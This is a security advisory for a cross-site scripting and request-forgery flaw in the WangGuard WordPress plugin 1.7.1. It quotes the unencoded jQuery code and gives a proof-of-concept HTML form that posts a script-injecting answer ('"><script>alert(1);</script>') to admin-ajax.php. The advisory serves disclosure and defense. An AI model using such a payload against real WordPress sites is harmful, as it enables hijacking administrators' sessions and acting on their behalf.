WordPress WangGuard 1.7.1 Cross Site Scripting

2016-08-02T00:00:00
ID PACKETSTORM:138155
Type packetstorm
Reporter Yorick Koster
Modified 2016-08-02T00:00:00

Description

                                        
                                            `------------------------------------------------------------------------  
Cross-Site Scripting in WangGuard WordPress Plugin  
------------------------------------------------------------------------  
Yorick Koster, July 2016  
  
------------------------------------------------------------------------  
Abstract  
------------------------------------------------------------------------  
A Cross-Site Scripting vulnerability was found in the WangGuard  
WordPress Plugin. This issue allows an attacker to perform a wide  
variety of actions, such as stealing Administrators' session tokens, or  
performing arbitrary actions on their behalf. In order to exploit this  
issue, the attacker has to lure/force a logged on WordPress  
Administrator into opening a malicious website.  
  
------------------------------------------------------------------------  
OVE ID  
------------------------------------------------------------------------  
OVE-20160724-0030  
  
------------------------------------------------------------------------  
Tested versions  
------------------------------------------------------------------------  
This issue was successfully tested on WangGuard WordPress Plugin version  
1.7.1.  
  
------------------------------------------------------------------------  
Fix  
------------------------------------------------------------------------  
This issue is resolved in WangGuard version 1.7.2.  
  
------------------------------------------------------------------------  
Details  
------------------------------------------------------------------------  
https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_wangguard_wordpress_plugin.html  
  
The issue exists in the file wangguard-admin.php and is caused by the lack of output encoding on the security questions & answers. It should be noted that this functionality is also vulnerable to Cross-Site Request Forgery.  
  
jQuery("#wangguardnewquestionbutton").click(function() {  
jQuery("#wangguardnewquestionerror").hide();  
var wgq = jQuery("#wangguardnewquestion").val();  
var wga = jQuery("#wangguardnewquestionanswer").val();  
if ((wgq=='') || (wga=='')) {  
jQuery("#wangguardnewquestionerror").slideDown();  
return;  
}  
data = {  
action : 'wangguard_ajax_questionadd',  
q : wgq,  
a : wga  
};  
jQuery.post(ajaxurl, data, function(response) {  
if (response!='0') {  
jQuery("#wangguard-question-noquestion").remove();  
var newquest = '<div class="wangguard-question" id="wangguard-question-'+response+'">';  
newquest += '<?php echo addslashes(__("Question", 'wangguard')) ?>: <strong>'+wgq+'</strong><br/>';  
newquest += '<?php echo addslashes(__("Answer", 'wangguard')) ?>: <strong>'+wga+'</strong><br/>';  
newquest += '<a href="javascript:void(0)" rel="'+response+'" class="wangguard-delete-question"><?php echo addslashes(__('delete question', 'wangguard')) ?></a></div>';  
jQuery("#wangguard-new-question-container").append(newquest);  
jQuery("#wangguardnewquestion").val("");  
jQuery("#wangguardnewquestionanswer").val("");  
}  
else if (response=='0') {  
jQuery("#wangguardnewquestionerror").slideDown();  
}  
});  
});  
In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.  
  
Proof of concept  
<html>  
<body>  
<form action="http://<target>/wp-admin/admin-ajax.php" method="POST">  
<input type="hidden" name="action" value="wangguard_ajax_questionadd" />  
<input type="hidden" name="q" value="xss?" />  
<input type="hidden" name="a" value=""><script>alert(1);</script>" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
  
------------------------------------------------------------------------  
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
`